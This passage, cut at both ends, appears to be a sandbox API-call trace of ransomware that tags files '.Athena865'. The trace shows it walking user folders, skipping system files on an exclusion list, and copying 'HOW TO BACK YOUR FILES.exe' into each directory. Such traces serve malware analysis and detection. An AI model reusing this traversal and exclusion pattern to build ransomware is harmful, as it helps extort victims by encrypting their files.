TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.133] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.133] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0054.133] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.133] lstrcmpiW (lpString1="Links", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.134] lstrcmpiW (lpString1="Links", lpString2=".") returned 1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="..") returned 1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1 [0054.134] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1 [0054.134] lstrlenW (lpString="Links") returned 5 [0054.134] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Links" | out: lpString1="Links") returned="Links" [0054.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd80 [0054.134] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x52cfd0 [0054.134] lstrcatW (in: lpString1="Links", lpString2="\\" | out: lpString1="Links\\") returned="Links\\" [0054.134] lstrcatW (in: lpString1="Links\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Links\\HOW TO BACK YOUR FILES.exe") returned="Links\\HOW TO BACK YOUR FILES.exe" [0054.134] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.135] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc7974940, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7974940, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="windows") returned -1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="bootmgr") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="temp") returned -1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="pagefile.sys") returned -1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="boot") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ids.txt") returned 1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="ntuser.dat") returned -1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="perflogs") returned -1 [0054.135] lstrcmpiW (lpString1="Microsoft Websites", lpString2="MSBuild") returned -1 [0054.135] lstrlenW (lpString="Microsoft Websites") returned 18 [0054.135] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Microsoft Websites" | out: lpString1="Microsoft Websites") returned="Microsoft Websites" [0054.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd68 [0054.135] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x88) returned 0x513e58 [0054.135] lstrcatW (in: lpString1="Microsoft Websites", lpString2="\\" | out: lpString1="Microsoft Websites\\") returned="Microsoft Websites\\" [0054.135] lstrcatW (in: lpString1="Microsoft Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Websites\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Websites\\HOW TO BACK YOUR FILES.exe" [0054.135] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\Microsoft Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\microsoft websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.136] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2=".") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="..") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="windows") returned -1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="bootmgr") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="temp") returned -1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="pagefile.sys") returned -1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="boot") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="ids.txt") returned 1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="ntuser.dat") returned -1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="perflogs") returned -1 [0054.136] lstrcmpiW (lpString1="MSN Websites", lpString2="MSBuild") returned 1 [0054.136] lstrlenW (lpString="MSN Websites") returned 12 [0054.136] lstrcpyW (in: lpString1=0x241e8aa, lpString2="MSN Websites" | out: lpString1="MSN Websites") returned="MSN Websites" [0054.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cd08 [0054.136] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519aa8 [0054.136] lstrcatW (in: lpString1="MSN Websites", lpString2="\\" | out: lpString1="MSN Websites\\") returned="MSN Websites\\" [0054.136] lstrcatW (in: lpString1="MSN Websites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="MSN Websites\\HOW TO BACK YOUR FILES.exe") returned="MSN Websites\\HOW TO BACK YOUR FILES.exe" [0054.136] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.137] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2=".") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="..") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="windows") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="bootmgr") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="temp") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="pagefile.sys") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="boot") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="ids.txt") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="ntuser.dat") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="perflogs") returned 1 [0054.137] lstrcmpiW (lpString1="Windows Live", lpString2="MSBuild") returned 1 [0054.137] lstrlenW (lpString="Windows Live") returned 12 [0054.137] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Windows Live" | out: lpString1="Windows Live") returned="Windows Live" [0054.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52ccc0 [0054.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x519b30 [0054.137] lstrcatW (in: lpString1="Windows Live", lpString2="\\" | out: lpString1="Windows Live\\") returned="Windows Live\\" [0054.137] lstrcatW (in: lpString1="Windows Live\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Live\\HOW TO BACK YOUR FILES.exe") returned="Windows Live\\HOW TO BACK YOUR FILES.exe" [0054.137] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Favorites\\Windows Live\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\favorites\\windows live\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.138] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc799aaa0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc799aaa0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0054.138] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.138] ReleaseMutex (hMutex=0xec) returned 1 [0054.138] CloseHandle (hObject=0xec) returned 1 [0054.138] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Links" | out: lpString1="C:\\Documents and Settings\\Default User\\Links") returned="C:\\Documents and Settings\\Default User\\Links" [0054.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b608 | out: hHeap=0x4f0000) returned 1 [0054.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd98 | out: hHeap=0x4f0000) returned 1 [0054.138] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Links") returned 44 [0054.138] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E500C1B1B8FB56C7A7B116B12B92D754") returned 0xec [0054.138] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.138] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Links" | out: lpString1="C:\\Documents and Settings\\Default User\\Links") returned="C:\\Documents and Settings\\Default User\\Links" [0054.138] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.138] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\links\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.139] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\links\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.139] GetLastError () returned 0x0 [0054.139] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.139] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.139] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.139] CloseHandle (hObject=0xf4) returned 1 [0054.139] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.139] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.139] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Links\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a0cec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.139] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.139] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.139] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0054.139] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a0cec0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.139] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.139] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.139] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0054.139] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0054.140] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc79c0c00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x550, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="DESKTO~1.ATH")) returned 1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0054.140] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0054.140] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.140] lstrcpyW (in: lpString1=0x241e8a2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0054.140] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0054.140] lstrlenW (lpString="Athena865") returned 9 [0054.140] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.140] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc79e6d60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk.Athena865", cAlternateFileName="DESKTO~2.ATH")) returned 1 [0054.140] lstrcmpiW (lpString1="Desktop.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.140] lstrcmpiW (lpString1="Desktop.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.140] lstrcmpiW (lpString1="Desktop.lnk.Athena865", lpString2=".") returned 1 [0054.140] lstrcmpiW (lpString1="Desktop.lnk.Athena865", lpString2="..") returned 1 [0054.140] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Desktop.lnk.Athena865" | out: lpString1="Desktop.lnk.Athena865") returned="Desktop.lnk.Athena865" [0054.140] lstrlenW (lpString="Desktop.lnk.Athena865") returned 21 [0054.140] lstrlenW (lpString="Athena865") returned 9 [0054.140] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.141] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk.Athena865", cAlternateFileName="DOWNLO~1.ATH")) returned 1 [0054.141] lstrcmpiW (lpString1="Downloads.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.141] lstrcmpiW (lpString1="Downloads.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.141] lstrcpyW (in: lpString1=0x241e8a2, lpString2="Downloads.lnk.Athena865" | out: lpString1="Downloads.lnk.Athena865") returned="Downloads.lnk.Athena865" [0054.141] lstrlenW (lpString="Downloads.lnk.Athena865") returned 23 [0054.141] lstrlenW (lpString="Athena865") returned 9 [0054.141] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.141] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfb4860, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcfb4860, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0054.141] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0054.141] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk.Athena865", cAlternateFileName="RECENT~1.ATH")) returned 1 [0054.141] lstrcmpiW (lpString1="RecentPlaces.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0054.141] lstrcmpiW (lpString1="RecentPlaces.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0054.141] lstrcpyW (in: lpString1=0x241e8a2, lpString2="RecentPlaces.lnk.Athena865" | out: lpString1="RecentPlaces.lnk.Athena865") returned="RecentPlaces.lnk.Athena865" [0054.141] lstrlenW (lpString="RecentPlaces.lnk.Athena865") returned 26 [0054.141] lstrlenW (lpString="Athena865") returned 9 [0054.141] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0054.141] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xc7a0cec0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk.Athena865", cAlternateFileName="RECENT~1.ATH")) returned 0 [0054.141] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0054.141] ReleaseMutex (hMutex=0xec) returned 1 [0054.141] CloseHandle (hObject=0xec) returned 1 [0054.141] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Local Settings" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings") returned="C:\\Documents and Settings\\Default User\\Local Settings" [0054.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0054.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cdb0 | out: hHeap=0x4f0000) returned 1 [0054.141] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Local Settings") returned 53 [0054.141] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\051E92BC76527CF3A188716D0F147AD1") returned 0xec [0054.141] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0054.141] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Local Settings" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings") returned="C:\\Documents and Settings\\Default User\\Local Settings" [0054.141] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0054.142] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 0 [0054.142] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0054.142] GetLastError () returned 0x0 [0054.142] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0054.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0054.142] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0054.142] CloseHandle (hObject=0xf4) returned 1 [0054.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0054.142] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0054.142] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0054.143] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0054.143] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0054.143] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7a33020, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.143] 